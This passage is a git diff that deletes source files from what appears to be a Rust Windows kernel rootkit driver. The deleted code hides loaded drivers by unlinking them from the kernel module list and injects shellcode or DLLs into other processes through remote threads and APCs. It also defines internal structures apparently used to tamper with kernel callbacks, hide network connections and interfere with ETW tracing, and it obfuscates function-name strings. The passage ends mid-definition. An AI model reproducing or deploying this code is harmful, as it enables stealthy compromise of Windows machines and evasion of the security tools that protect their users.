ioctls.insert(IOCTL_HIDE_UNHIDE_DRIVER, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { - let status = unsafe { handle!(stack, Driver::driver_toggle, TargetDriver) }; - unsafe { (*irp).IoStatus.Information = 0 }; - status - }) as IoctlHandler); - - // Enumerate active drivers on the system. - ioctls.insert(IOCTL_ENUMERATE_DRIVER, Box::new(|irp: *mut IRP, _: *mut IO_STACK_LOCATION | { - let mut information = 0; - let status = unsafe { handle!(irp, Driver::enumerate_driver, DriverInfo, &mut information) }; - unsafe { (*irp).IoStatus.Information = information as u64 }; - - match status { - Ok(_) => STATUS_SUCCESS, - Err(err_code) => err_code - } - }) as IoctlHandler); -} \ No newline at end of file diff --git a/driver/src/driver/mod.rs b/driver/src/driver/mod.rs deleted file mode 100644 index 755d704..0000000 --- a/driver/src/driver/mod.rs +++ /dev/null @@ -1,194 +0,0 @@ -use { - obfstr::obfstr, - spin::{lazy::Lazy, mutex::Mutex}, - ntapi::ntldr::LDR_DATA_TABLE_ENTRY, - core::sync::atomic::{AtomicPtr, Ordering}, - alloc::{boxed::Box, string::String, vec::Vec}, - crate::utils::uni, - shared::{ - structs::{ - DriverInfo, HiddenDriverInfo, TargetDriver, LIST_ENTRY - }, - vars::MAX_DRIVER - }, - wdk_sys::{ - ntddk::MmGetSystemRoutineAddress, NTSTATUS, STATUS_INVALID_PARAMETER, - STATUS_SUCCESS, STATUS_UNSUCCESSFUL - } -}; - -pub mod ioctls; - -/// List of target drivers protected by a mutex. -static DRIVER_INFO_HIDE: Lazy>> = Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_DRIVER))); - -pub struct Driver; - -impl Driver { - /// Toggle the visibility of a process based on the `enable` field of the `TargetProcess` structure. - /// - /// # Arguments - /// - /// - `process`: A pointer to the `TargetProcess` structure. - /// - /// # Returns - /// - /// - `NTSTATUS`: A status code indicating success or failure of the operation. - /// - pub unsafe fn driver_toggle(driver: *mut TargetDriver) -> NTSTATUS { - let name = &(*driver).name; - if (*driver).enable { - Self::hide_driver(name) - } else { - Self::unhide_driver(name) - } - } - - /// Hides the driver by unlinking it from the loaded module list. - /// - /// # Arguments - /// - /// - `device`: A pointer to the `DEVICE_OBJECT` representing the driver to be hidden. - /// - /// # Returns - /// - /// - `NTSTATUS`: A status code indicating success (`STATUS_SUCCESS`) or failure of the operation. - /// - unsafe fn hide_driver(driver_name: &String) -> NTSTATUS { - let ps_module = uni::str_to_unicode(obfstr!("PsLoadedModuleList")); - let func = MmGetSystemRoutineAddress(&mut ps_module.to_unicode()) as *mut LDR_DATA_TABLE_ENTRY; - - if func.is_null() { - log::error!("PsLoadedModuleList is null"); - return STATUS_UNSUCCESSFUL; - } - - let current = func as *mut LIST_ENTRY; - let mut next = (*func).InLoadOrderLinks.Flink as *mut LIST_ENTRY; - - while next != current { - let list_entry = next as *mut LDR_DATA_TABLE_ENTRY; - let buffer = core::slice::from_raw_parts((*list_entry).BaseDllName.Buffer, ((*list_entry).BaseDllName.Length / 2) as usize); - - let name = String::from_utf16_lossy(buffer); - if name.contains(driver_name) { - let next = (*list_entry).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY; - let previous = (*list_entry).InLoadOrderLinks.Blink as *mut LDR_DATA_TABLE_ENTRY; - let list = LIST_ENTRY { - Flink: next as *mut LIST_ENTRY, - Blink: previous as *mut LIST_ENTRY, - }; - - let mut driver_info = DRIVER_INFO_HIDE.lock(); - let list_ptr = Box::into_raw(Box::new(list)); - let driver_entry = Box::into_raw(Box::new(*list_entry)); - - driver_info.push(HiddenDriverInfo { - name, - list_entry: AtomicPtr::new(list_ptr), - driver_entry: AtomicPtr::new(driver_entry) - }); - - (*next).InLoadOrderLinks.Blink = previous as *mut winapi::shared::ntdef::LIST_ENTRY; - (*previous).InLoadOrderLinks.Flink = next as *mut winapi::shared::ntdef::LIST_ENTRY; - - (*list_entry).InLoadOrderLinks.Flink = list_entry as *mut winapi::shared::ntdef::LIST_ENTRY; - (*list_entry).InLoadOrderLinks.Blink = list_entry as *mut winapi::shared::ntdef::LIST_ENTRY; - break; - } - - next = (*next).Flink; - } - - STATUS_SUCCESS - } - - /// Hides the driver by unlinking it from the loaded module list. - /// - /// # Arguments - /// - /// - `device`: A pointer to the `DEVICE_OBJECT` representing the driver to be hidden. - /// - /// # Returns - /// - /// - `NTSTATUS`: A status code indicating success (`STATUS_SUCCESS`) or failure of the operation. - /// - unsafe fn unhide_driver(driver_name: &str) -> NTSTATUS { - let mut driver_info = DRIVER_INFO_HIDE.lock(); - - if let Some(index) = driver_info.iter().position(|p| p.name == driver_name) { - let driver = &driver_info[index]; - let list_entry = driver.list_entry.load(Ordering::SeqCst); - if list_entry.is_null() { - log::error!("List entry stored in AtomicPtr is null"); - return STATUS_INVALID_PARAMETER; - } - - let driver_entry = driver.driver_entry.load(Ordering::SeqCst); - (*driver_entry).InLoadOrderLinks.Flink = (*list_entry).Flink as *mut winapi::shared::ntdef::LIST_ENTRY; - (*driver_entry).InLoadOrderLinks.Blink = (*list_entry).Blink as *mut winapi::shared::ntdef::LIST_ENTRY; - - let next = (*driver_entry).InLoadOrderLinks.Flink; // Driver (3) - let previous = (*driver_entry).InLoadOrderLinks.Blink; // Driver (1) - - (*next).Blink = driver_entry as *mut winapi::shared::ntdef::LIST_ENTRY; - (*previous).Flink = driver_entry as *mut winapi::shared::ntdef::LIST_ENTRY; - - driver_info.remove(index); - } else { - return STATUS_UNSUCCESSFUL; - } - - STATUS_SUCCESS - } - - /// Enumerates loaded drivers and stores the information in the provided buffer. - /// - /// # Arguments - /// - /// - `driver_info`: A pointer to a buffer where `DriverInfo` structures will be stored. - /// - `information`: A mutable reference to a `usize` that will store the total size of the information written. - /// - /// # Returns - /// - /// - `NTSTATUS`: A status code indicating success (`STATUS_SUCCESS`) or failure of the operation. - /// - pub unsafe fn enumerate_driver(driver_info: *mut DriverInfo, information: &mut usize) -> Result<(), NTSTATUS> { - let ps_module = uni::str_to_unicode(obfstr!("PsLoadedModuleList")); - let ldr_data = MmGetSystemRoutineAddress(&mut ps_module.to_unicode()) as *mut LDR_DATA_TABLE_ENTRY; - - if ldr_data.is_null() { - log::error!("PsLoadedModuleList is null"); - return Err(STATUS_UNSUCCESSFUL); - } - - let current = ldr_data as *mut winapi::shared::ntdef::LIST_ENTRY; - let mut next = (*ldr_data).InLoadOrderLinks.Flink; - let mut count = 0; - - while next != current { - let list_entry = next as *mut LDR_DATA_TABLE_ENTRY; - let buffer = core::slice::from_raw_parts( - (*list_entry).BaseDllName.Buffer, - ((*list_entry).BaseDllName.Length / 2) as usize, - ); - - // Driver name - let name = (*driver_info.offset(count)).name.as_mut(); - core::ptr::copy_nonoverlapping(buffer.as_ptr(), name.as_mut_ptr(), buffer.len()); - - // Driver address - (*driver_info.offset(count)).address = (*list_entry).DllBase as usize; - - // Driver index - (*driver_info.offset(count)).index = count as u8; - - *information += core::mem::size_of::(); - count += 1; - - next = (*next).Flink; - } - - Ok(()) - } -} diff --git a/driver/src/injection/callbacks.rs b/driver/src/injection/callbacks.rs deleted file mode 100644 index d926aac..0000000 --- a/driver/src/injection/callbacks.rs +++ /dev/null @@ -1,31 +0,0 @@ -use wdk_sys::{ntddk::{ExFreePool, PsIsThreadTerminating}, PKAPC, PVOID, _MODE::UserMode}; -use crate::internals::{ - types::PKNORMAL_ROUTINE, - externs::{KeTestAlertThread, PsGetCurrentThread} -}; - -pub unsafe extern "system" fn kernel_apc_callback( - apc: PKAPC, - _normal_routine: *mut PKNORMAL_ROUTINE, - _normal_context: *mut PVOID, - _system_argument1: *mut PVOID, - _system_argument2: *mut PVOID -) { - - KeTestAlertThread(UserMode as i8); - ExFreePool(apc as _) -} - -pub unsafe extern "system" fn user_apc_callback( - apc: PKAPC, - normal_routine: *mut PKNORMAL_ROUTINE, - _normal_context: *mut PVOID, - _system_argument1: *mut PVOID, - _system_argument2: *mut PVOID -) { - if PsIsThreadTerminating(PsGetCurrentThread()) == 1 { - *normal_routine = None; - } - - ExFreePool(apc as _) -} \ No newline at end of file diff --git a/driver/src/injection/ioctls.rs b/driver/src/injection/ioctls.rs deleted file mode 100644 index 81114f4..0000000 --- a/driver/src/injection/ioctls.rs +++ /dev/null @@ -1,63 +0,0 @@ -use { - alloc::boxed::Box, - hashbrown::HashMap, - wdk_sys::{IO_STACK_LOCATION, IRP, STATUS_SUCCESS}, - crate::{ - handle, - injection::{InjectionDLL, InjectionShellcode}, - utils::ioctls::IoctlHandler - }, - shared::{ - ioctls::{ - IOCTL_INJECTION_DLL_THREAD, IOCTL_INJECTION_SHELLCODE_APC, - IOCTL_INJECTION_SHELLCODE_THREAD - }, - structs::TargetInjection - }, -}; - -/// Registers the IOCTL handlers for injection-related operations. -/// -/// This function inserts two IOCTL handlers into the provided `HashMap`, associating them with -/// their respective IOCTL codes. The two operations supported are: -/// -/// # Arguments -/// -/// - `ioctls`: A mutable reference to a `HashMap` where the injection-related -/// IOCTL handlers will be inserted. -/// -pub fn get_injection_ioctls(ioctls: &mut HashMap) { - // Process injection using ZwCreateThreadEx. - ioctls.insert(IOCTL_INJECTION_SHELLCODE_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { - let status = unsafe { handle!(stack, InjectionShellcode::injection_thread, TargetInjection) }; - unsafe { (*irp).IoStatus.Information = 0 }; - - match status { - Ok(_) => STATUS_SUCCESS, - Err(err_code) => err_code - } - }) as IoctlHandler); - - // APC Injection. - ioctls.insert(IOCTL_INJECTION_SHELLCODE_APC, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { - let status = unsafe { handle!(stack, InjectionShellcode::injection_apc, TargetInjection) }; - unsafe { (*irp).IoStatus.Information = 0 }; - - match status { - Ok(_) => STATUS_SUCCESS, - Err(err_code) => err_code - } - }) as IoctlHandler); - - // DLL injection using ZwCreateThreadEx. - ioctls.insert(IOCTL_INJECTION_DLL_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { - let status = unsafe { handle!(stack, InjectionDLL::injection_dll_thread, TargetInjection) }; - unsafe { (*irp).IoStatus.Information = 0 }; - - match status { - Ok(_) => STATUS_SUCCESS, - Err(err_code) => err_code - } - }) as IoctlHandler); - -} \ No newline at end of file diff --git a/driver/src/injection/mod.rs b/driver/src/injection/mod.rs deleted file mode 100644 index 0318792..0000000 --- a/driver/src/injection/mod.rs +++ /dev/null @@ -1,313 +0,0 @@ -#![allow(non_snake_case)] - -use { - obfstr::obfstr, - shared::structs::TargetInjection, - callbacks::{kernel_apc_callback, user_apc_callback}, - core::{ - ffi::c_void, ptr::null_mut, - mem::{size_of, transmute}, - }, - wdk_sys::{ - *, - ntddk::{ - IoGetCurrentProcess, ZwAllocateVirtualMemory, - ZwClose, ZwOpenProcess - }, - _MODE::{KernelMode, UserMode}, - }, - crate::{ - process::Process, - internals::{ - enums::KAPC_ENVIROMENT::OriginalApcEnvironment, - types::{ZwCreateThreadExType, PKNORMAL_ROUTINE}, - externs::{ - KeInitializeApc, KeInsertQueueApc, MmCopyVirtualMemory, - ZwProtectVirtualMemory - } - }, - utils::{ - find_thread_alertable, get_module_peb, handles::Handle, - patterns::find_zw_function, pool::PoolMemory, read_file, - InitializeObjectAttributes - } - }, -}; - -mod callbacks; -pub mod ioctls; - -/// Represents shellcode injection. -pub struct InjectionShellcode; - -impl InjectionShellcode { - /// Injection Shellcode in Thread. - /// - /// # Arguments - /// - /// - `target`: The target process identifier (PID) and the path containing the injection shellcode. - /// - /// # Returns - /// - /// - `NTSTATUS`: A status code indicating success or failure of the operation. - /// - pub unsafe fn injection_thread(target: *mut TargetInjection) -> Result<(), NTSTATUS> { - let pid = (*target).pid; - let path = &(*target).path; - - let zw_thread_addr = find_zw_function(obfstr!("NtCreateThreadEx")).ok_or(STATUS_UNSUCCESSFUL)? as *mut c_void; - let target_eprocess = Process::new(pid).ok_or(STATUS_UNSUCCESSFUL)?; - - let mut h_process: HANDLE = null_mut(); - let mut obj_attr = InitializeObjectAttributes(None, 0, None, None, None); - let mut client_id = CLIENT_ID { - UniqueProcess: pid as _, - UniqueThread: null_mut(), - }; - let mut status = ZwOpenProcess(&mut h_process, PROCESS_ALL_ACCESS, &mut obj_attr, &mut client_id); - if !NT_SUCCESS(status) { - log::error!("ZwOpenProcess Failed With Status: {status}"); - return Err(status); - } - - let h_process = Handle::new(h_process); - - let shellcode = read_file(path)?; - let mut region_size = shellcode.len() as u64; - let mut base_address = null_mut(); - status = ZwAllocateVirtualMemory(h_process.get(), &mut base_address, 0, &mut region_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); - if !NT_SUCCESS(status) { - log::error!("ZwAllocateVirtualMemory Failed With Status: {status}"); - return Err(status); - } - - let mut result_number = 0; - MmCopyVirtualMemory( - IoGetCurrentProcess(), - shellcode.as_ptr() as _, - target_eprocess.e_process, - base_address, - shellcode.len() as u64, - KernelMode as i8, - &mut result_number, - ); - - let mut old_protect = 0; - status = ZwProtectVirtualMemory(h_process.get(), &mut base_address, &mut region_size, PAGE_EXECUTE_READ, &mut old_protect); - if !NT_SUCCESS(status) { - log::error!("ZwProtectVirtualMemory Failed With Status: {status}"); - return Err(status); - } - - let ZwCreateThreadEx = transmute::<_, ZwCreateThreadExType>(zw_thread_addr); - let mut h_thread = null_mut(); - let mut obj_attr = InitializeObjectAttributes(None, 0, None, None, None); - status = ZwCreateThreadEx( - &mut h_thread, - THREAD_ALL_ACCESS, - &mut obj_attr, - h_process.get(), - transmute(base_address), - null_mut(), - 0, - 0, - 0, - 0, - null_mut() - ); - if !NT_SUCCESS(status) { - log::error!("ZwCreateThreadEx Failed With Status: {status}"); - return Err(status); - } - - ZwClose(h_thread); - - Ok(()) - } - - /// Injection Shellcode in APC. - /// - /// # Arguments - /// - /// - `target`: The target process identifier (PID) and the path containing the injection shellcode. - /// - /// # Returns - /// - /// - `NTSTATUS`: A status code indicating success or failure of the operation. - /// - pub unsafe fn injection_apc(target: *mut TargetInjection) -> Result<(), NTSTATUS> { - let pid = (*target).pid; - let path = &(*target).path; - let shellcode = read_file(path)?; - let thread_id = find_thread_alertable(pid).ok_or(STATUS_UNSUCCESSFUL)?; - let target_eprocess = Process::new(pid).ok_or(STATUS_UNSUCCESSFUL)?; - - let mut h_process: HANDLE = null_mut(); - let mut obj_attr = InitializeObjectAttributes(None, 0, None, None, None); - let mut client_id = CLIENT_ID { - UniqueProcess: pid as _, - UniqueThread: null_mut(), - }; - let mut status = ZwOpenProcess(&mut h_process, PROCESS_ALL_ACCESS, &mut obj_attr, &mut client_id); - if !NT_SUCCESS(status) { - log::error!("ZwOpenProcess Failed With Status: {status}"); - return Err(status); - } - - let h_process = Handle::new(h_process); - let mut base_address = null_mut(); - let mut region_size = shellcode.len() as u64; - status = ZwAllocateVirtualMemory(h_process.get(), &mut base_address, 0, &mut region_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); - if !NT_SUCCESS(status) { - log::error!("ZwAllocateVirtualMemory Failed With Status: {status}"); - return Err(status); - } - - let mut result_number = 0; - MmCopyVirtualMemory( - IoGetCurrentProcess(), - shellcode.as_ptr() as _, - target_eprocess.e_process, - base_address, - shellcode.len() as u64, - KernelMode as i8, - &mut result_number, - ); - - let user_apc = PoolMemory::new(POOL_FLAG_NON_PAGED, size_of::() as u64, u32::from_be_bytes(*b"krts")) - .map(|mem| mem.ptr as *mut KAPC) - .ok_or_else(|| { - log::error!("PoolMemory (User) Failed"); - STATUS_UNSUCCESSFUL - })?; - - let kernel_apc = PoolMemory::new(POOL_FLAG_NON_PAGED, size_of::() as u64, u32::from_be_bytes(*b"urds")) - .map(|mem| mem.ptr as *mut KAPC) - .ok_or_else(|| { - log::error!("PoolMemory (Kernel) Failed"); - STATUS_UNSUCCESSFUL - })?; - - KeInitializeApc( - kernel_apc, - thread_id, - OriginalApcEnvironment, - kernel_apc_callback, - None, - None, - KernelMode as i8, - null_mut() - ); - - KeInitializeApc( - user_apc, - thread_id, - OriginalApcEnvironment, - user_apc_callback, - None, - transmute::<_, PKNORMAL_ROUTINE>(base_address), - UserMode as i8, - null_mut() - ); - - if !KeInsertQueueApc(user_apc, null_mut(), null_mut(), 0) { - log::error!("KeInsertQueueApc (User) Failed"); - return Err(STATUS_UNSUCCESSFUL); - } - - if !KeInsertQueueApc(kernel_apc, null_mut(), null_mut(), 0) { - log::error!("KeInsertQueueApc (Kernel) Failed"); - return Err(STATUS_UNSUCCESSFUL); - } - - Ok(()) - } -} - -// Represents DLL injection. -pub struct InjectionDLL; - -impl InjectionDLL { - /// DLL Injection. - /// - /// # Arguments - /// - /// - `target`: The target process identifier (PID) and the path containing the injection dll. - /// - /// # Returns - /// - /// - `NTSTATUS`: A status code indicating success or failure of the operation. - /// - pub unsafe fn injection_dll_thread(target: *mut TargetInjection) -> Result<(), NTSTATUS> { - let pid = (*target).pid; - let path = (*target).path.as_bytes(); - let zw_thread_addr = find_zw_function(obfstr!("NtCreateThreadEx")).ok_or(STATUS_UNSUCCESSFUL)?; - let function_address = get_module_peb(pid, obfstr!("kernel32.dll"),obfstr!("LoadLibraryA")).ok_or(STATUS_UNSUCCESSFUL)?; - let target_eprocess = Process::new(pid).ok_or(STATUS_UNSUCCESSFUL)?; - - let mut h_process: HANDLE = null_mut(); - let mut obj_attr = InitializeObjectAttributes(None, 0, None, None, None); - let mut client_id = CLIENT_ID { - UniqueProcess: pid as _, - UniqueThread: null_mut(), - }; - let mut status = ZwOpenProcess(&mut h_process, PROCESS_ALL_ACCESS, &mut obj_attr, &mut client_id); - if !NT_SUCCESS(status) { - log::error!("ZwOpenProcess Failed With Status: {status}"); - return Err(status); - } - - let h_process = Handle::new(h_process); - - let mut base_address = null_mut(); - let mut region_size = (path.len() * size_of::()) as u64; - status = ZwAllocateVirtualMemory(h_process.get(), &mut base_address, 0, &mut region_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); - if !NT_SUCCESS(status) { - log::error!("ZwAllocateVirtualMemory Failed With Status: {status}"); - return Err(status); - } - - let mut result_number = 0; - MmCopyVirtualMemory( - IoGetCurrentProcess(), - path.as_ptr() as _, - target_eprocess.e_process, - base_address, - (path.len() * size_of::()) as u64, - KernelMode as i8, - &mut result_number, - ); - - let mut old_protect = 0; - status = ZwProtectVirtualMemory(h_process.get(), &mut base_address, &mut region_size, PAGE_EXECUTE_READ, &mut old_protect); - if !NT_SUCCESS(status) { - log::error!("ZwProtectVirtualMemory Failed With Status: {status}"); - return Err(status); - } - - let ZwCreateThreadEx = transmute::<_, ZwCreateThreadExType>(zw_thread_addr); - let mut h_thread = null_mut(); - let mut obj_attr = InitializeObjectAttributes(None, 0, None, None, None); - status = ZwCreateThreadEx( - &mut h_thread, - THREAD_ALL_ACCESS, - &mut obj_attr, - h_process.get(), - transmute(function_address), - base_address, - 0, - 0, - 0, - 0, - null_mut() - ); - if !NT_SUCCESS(status) { - log::error!("ZwCreateThreadEx Failed With Status: {status}"); - return Err(status); - } - - ZwClose(h_thread); - - Ok(()) - } -} diff --git a/driver/src/internals/externs.rs b/driver/src/internals/externs.rs deleted file mode 100644 index a33d949..0000000 --- a/driver/src/internals/externs.rs +++ /dev/null @@ -1,76 +0,0 @@ -use wdk_sys::*; -use super::*; - -extern "C" { - pub static mut IoDriverObjectType: *mut *mut _OBJECT_TYPE; -} - -#[link(name = "ntoskrnl")] -extern "system" { - pub fn PsGetProcessPeb(ProcessId: PEPROCESS) -> PPEB; - - pub fn PsGetCurrentThread() -> PETHREAD; - - pub fn IoCreateDriver( - driver_name: PUNICODE_STRING, - driver_initialize: types::DRIVER_INITIALIZE, - ) -> NTSTATUS; - - pub fn MmCopyVirtualMemory( - source_process: PEPROCESS, - source_address: PVOID, - target_process: PEPROCESS, - target_address: PVOID, - buffer_size: SIZE_T, - previous_mode: KPROCESSOR_MODE, - return_size: PSIZE_T, - ); - - pub fn ObReferenceObjectByName( - object_name: PUNICODE_STRING, - attributes: u32, - access_state: PACCESS_STATE, - desired_access: ACCESS_MASK, - object_type: POBJECT_TYPE, - access_mode: KPROCESSOR_MODE, - parse_context: PVOID, - object: *mut PVOID, - ) -> NTSTATUS; - - pub fn KeInitializeApc( - apc: PRKAPC, - thread: PETHREAD, - environment: enums::KAPC_ENVIROMENT, - kernel_routine: types::PKKERNEL_ROUTINE, - rundown_routine: types::PKRUNDOWN_ROUTINE, - normal_routine: types::PKNORMAL_ROUTINE, - apc_mode: KPROCESSOR_MODE, - normal_context: PVOID - ); - - pub fn KeTestAlertThread( - alert_mode: KPROCESSOR_MODE - ); - - pub fn KeInsertQueueApc( - apc: PRKAPC, - system_argument1: PVOID, - system_argument2: PVOID, - increment: KPRIORITY - ) -> bool; - - pub fn ZwProtectVirtualMemory( - ProcessHandle: HANDLE, - BaseAddress: *mut PVOID, - RegionSize: PSIZE_T, - NewProtect: ULONG, - OldProtect: PULONG - ) -> NTSTATUS; - - pub fn ZwOpenThread( - handle: *mut HANDLE, - desired_access: ACCESS_MASK, - object_attributes: *mut OBJECT_ATTRIBUTES, - client_id: *mut CLIENT_ID - ) -> NTSTATUS; -} diff --git a/driver/src/internals/mod.rs b/driver/src/internals/mod.rs deleted file mode 100644 index 49647cc..0000000 --- a/driver/src/internals/mod.rs +++ /dev/null @@ -1,14 +0,0 @@ -#![allow(non_camel_case_types)] -#![allow(dead_code)] - -use { - bitfield::bitfield, - winapi::ctypes::c_void, - ntapi::ntpsapi::PPS_ATTRIBUTE_LIST, -}; - -pub mod vad; -pub mod structs; -pub mod types; -pub mod enums; -pub mod externs; diff --git a/driver/src/internals/structs.rs b/driver/src/internals/structs.rs deleted file mode 100644 index c47379f..0000000 --- a/driver/src/internals/structs.rs +++ /dev/null @@ -1,326 +0,0 @@ -use { - super::*, - wdk_sys::*, - core::mem::ManuallyDrop, - crate::internals::enums::COMUNICATION_TYPE, - shared::{structs::LIST_ENTRY, enums::Callbacks} -}; - -pub use vad::*; - -#[repr(C)] -pub struct FULL_OBJECT_TYPE { - type_list: LIST_ENTRY, - name: UNICODE_STRING, - default_object: *mut c_void, - index: u8, - total_number_of_objects: u32, - pub total_number_of_handles: u32, - high_water_number_of_objects: u32, - high_water_number_of_handles: u32, - type_info: [u8; 0x78], - pub type_lock: _EX_PUSH_LOCK, - key: u32, - pub callback_list: LIST_ENTRY, -} - -#[repr(C)] -pub struct OBCALLBACK_ENTRY { - pub callback_list: LIST_ENTRY, - operations: OB_OPERATION, - pub enabled: bool, - pub entry: *mut OB_CALLBACK, - object_type: POBJECT_TYPE, - pub pre_operation: POB_PRE_OPERATION_CALLBACK, - pub post_operation: POB_POST_OPERATION_CALLBACK, - lock: KSPIN_LOCK -} - -#[repr(C)] -pub struct OB_CALLBACK { - version: u16, - operation_registration_count: u16, - registration_context: *mut c_void, - altitude_string: UNICODE_STRING, - entry_items: [OBCALLBACK_ENTRY; 1], - altitude_buffer: [u16; 1], -} - -pub struct PROCESS_SIGNATURE { - pub signature_level: u8, - pub section_seginature_level: u8, - pub protection: PS_PROTECTION, -} - -#[repr(C)] -#[derive(Debug, Clone, Copy)] -pub struct SystemModule { - pub section: *mut c_void, - pub mapped_base: *mut c_void, - pub image_base: *mut c_void, - pub size: u32, - pub flags: u32, - pub index: u8, - pub name_length: u8, - pub load_count: u8, - pub path_length: u8, - pub image_name: [u8; 256], -} - -#[repr(C)] -#[derive(Debug, Clone, Copy)] -pub struct SystemModuleInformation { - pub modules_count: u32, - pub modules: [SystemModule; 256], -} - -#[repr(C)] -#[derive(Debug, Clone, Copy)] -pub struct CM_CALLBACK { - pub list: LIST_ENTRY, - unknown1: [u64; 2], - context: u64, - pub function: u64, - altitude: UNICODE_STRING, - unknown2: [u64; 2], -} - -bitfield! { - pub struct _EX_PUSH_LOCK(u64); - impl Debug; - u64; - locked, set_locked: 0; - waiting, set_waiting: 1; - waking, set_waking: 2; - multiple_shared, set_multiple_shared: 3; - shared, set_shared: 63, 4; -} - -bitfield! { - pub struct PS_PROTECTION(u8); - pub u8, type_, set_type_: 2, 0; - pub u8, audit, set_audit: 3; - pub u8, signer, set_signer: 7, 4; -} - -#[repr(C)] -#[derive(Default)] -pub struct CallbackRestaure { - pub index: usize, - pub callback: Callbacks, - pub address: u64, -} - -#[repr(C)] -pub struct CallbackRestaureOb{ - pub index: usize, - pub callback: Callbacks, - pub pre_operation: u64, - pub post_operation: u64, - pub entry: u64, -} - -#[repr(C)] -pub struct MMVAD_SHORT { - pub vad_node: RTL_BALANCED_NODE, - pub starting_vpn: u32, - pub ending_vpn: u32, - pub starting_vpn_high: u8, - pub ending_vpn_high: u8, - pub commit_charge_high: u8, - pub spare_nt64_vad_uchar: u8, - pub reference_count: i32, - pub push_lock: usize, - pub u: Uunion, - pub u1: U1Union, - pub u5: U5Union, -} - -#[repr(C)] -pub union Uunion { - pub long_flags: u32, - pub vad_flags: ManuallyDrop, - pub private_vad_flags: ManuallyDrop, - pub graphics_vad_flags: ManuallyDrop, - pub shared_vad_flags: ManuallyDrop, - pub volatile_long: u32, -} - -#[repr(C)] -pub union U1Union { - pub long_flags1: u32, - pub vad_flags1: ManuallyDrop, -} - -#[repr(C)] -pub union U5Union { - pub event_list_ulong_ptr: u64, - pub starting_vpn_higher: u8, -} - -bitfield! { - #[repr(C)] - pub struct MM_PRIVATE_VAD_FLAGS(u32); - impl Debug; - impl Default; - u32; - pub lock, set_lock: 1; - pub lock_contended, set_lock_contended: 1; - pub delete_in_progress, set_delete_in_progress: 1; - pub no_change, set_no_change: 1; - pub vad_type, set_vad_type: 6, 4; - pub protection, set_protection: 11, 7; - pub preferred_node, set_preferred_node: 18, 12; - pub page_size, set_page_size: 19, 20; - pub private_memory_always_set, set_private_memory: 21; - pub write_watch, set_write: 22; - pub fixed_large_page_size, set_page_large: 23; - pub zero_fill_pages_optional, set_zero_fill: 24; - pub graphics, set_graphics: 25; - pub enclave, set_enclave: 26; - pub shadow_stack, set_shadow_stack: 27; - pub physical_memory_pfns_referenced, set_physical: 28; -} - -bitfield! { - #[repr(C)] - pub struct MM_SHARED_VAD_FLAGS(u32); - impl Debug; - impl Default; - u32; - pub lock, set_lock: 1; - pub lock_contended, set_lock_contended: 1; - pub delete_in_progress, set_delete_in_progress: 1; - pub no_change, set_no_change: 1; - pub vad_type, set_vad_type: 6, 4; - pub protection, set_protection: 11, 7; - pub preferred_node, set_preferred_node: 18, 12; - pub page_size, set_page_size: 19, 20; - pub private_memory_always_set, set_private_memory: 21; - pub private_fixup, set_private_fixup: 22; - pub hot_patch_state, set_hot_patch_state: 24, 23; -} - -bitfield! { - #[repr(C)] - pub struct MMVAD_FLAGS(u32); - impl Debug; - u32; - pub lock, set_lock: 0; - pub lock_contended, set_lock_contended: 1; - pub delete_in_progress, set_delete_in_progress: 2; - pub no_change, set_no_change: 3; - pub vad_type, set_vad_type: 6, 4; - pub protection, set_protection: 11, 7; - pub preferred_node, set_preferred_node: 18, 12; - pub page_size, set_page_size: 19, 20; - pub private_memory, set_private_memory: 21; -} - -bitfield! { - #[repr(C)] - pub struct MM_GRAPHICS_VAD_FLAGS(u32); - impl Debug; - impl Default; - u32; - pub lock, set_lock: 1; - pub lock_contended, set_lock_contended: 1; - pub delete_in_progress, set_delete_in_progress: 1; - pub no_change, set_no_change: 1; - pub vad_type, set_vad_type: 6, 4; - pub protection, set_protection: 11, 7; - pub preferred_node, set_preferred_node: 18, 12; - pub page_size, set_page_size: 19, 20; - pub private_memory_always_set, set_private_memory: 21; - pub write_watch, set_write: 22; - pub fixed_large_page_size, set_page_large: 23; - pub zero_fill_pages_optional, set_zero_fill: 24; - pub graphics_always_set, set_graphics: 25; - pub graphics_use_coherent, set_graphics_use: 26; - pub graphics_no_cache, set_graphics_no_cache: 27; - pub graphics_page_protection, set_graphics_page_protection: 30, 28; -} - -bitfield! { - #[repr(C)] - pub struct MMVAD_FLAGS1(u32); - impl Debug; - pub commit_charge, set_commit_charge: 30, 0; - pub mem_commit, set_mem_commit: 31; -} - -#[repr(C)] -pub struct NSI_PARAM { - pub reserved1: usize, - pub reverved2: usize, - pub module_id: *mut core::ffi::c_void, - pub type_: COMUNICATION_TYPE, - pub reserved3: u32, - pub reserved4: u32, - pub entries: *mut core::ffi::c_void, - pub entry_size: usize, - pub reserved5: *mut core::ffi::c_void, - pub reserved6: usize, - pub status_entries: *mut NSI_STATUS_ENTRY, - pub reserved7: usize, - pub process_entries: *mut NSI_PROCESS_ENTRY, - pub process_entry_size: usize, - pub count: usize -} - -#[repr(C)] -pub struct NSI_STATUS_ENTRY { - pub state: u32, - pub reserved: [u8; 8] -} - -#[repr(C)] -pub struct NSI_PROCESS_ENTRY { - pub udp_process_id: u32, - pub reserved1: u32, - pub reserved2: u32, - pub tcp_process_id: u32, - pub reserved3: u32, - pub reserved4: u32, - pub reserved5: u32, - pub reserved6: u32 -} - -#[repr(C)] -#[derive(Debug)] -pub struct NSI_TCP_ENTRY { - pub reserved1: [u8; 2], - pub port: u16, - pub ip_address: u32, - pub ip_address6: [u8; 16], - pub reserved2: [u8; 4] -} - -#[repr(C)] -#[derive(Debug)] -pub struct NSI_TABLE_TCP_ENTRY { - pub local: NSI_TCP_ENTRY, - pub remote: NSI_TCP_ENTRY -} - -#[repr(C)] -pub struct NSI_UDP_ENTRY { - pub reserved1: [u8; 2], - pub port: u16, - pub ip_address: u32, - pub ip_address6: [u8; 16], - pub reserved2: [u8; 4] -} - -#[repr(C)] -pub struct TRACE_ENABLE_INFO { - pub is_enabled: u32, - pub level: u8, - pub reserved1: u8, - pub loggerid: u16, - pub enable_property: u32, - pub reserved2: u32, - pub match_any_keyword: u64, - pub match_all_keyword: 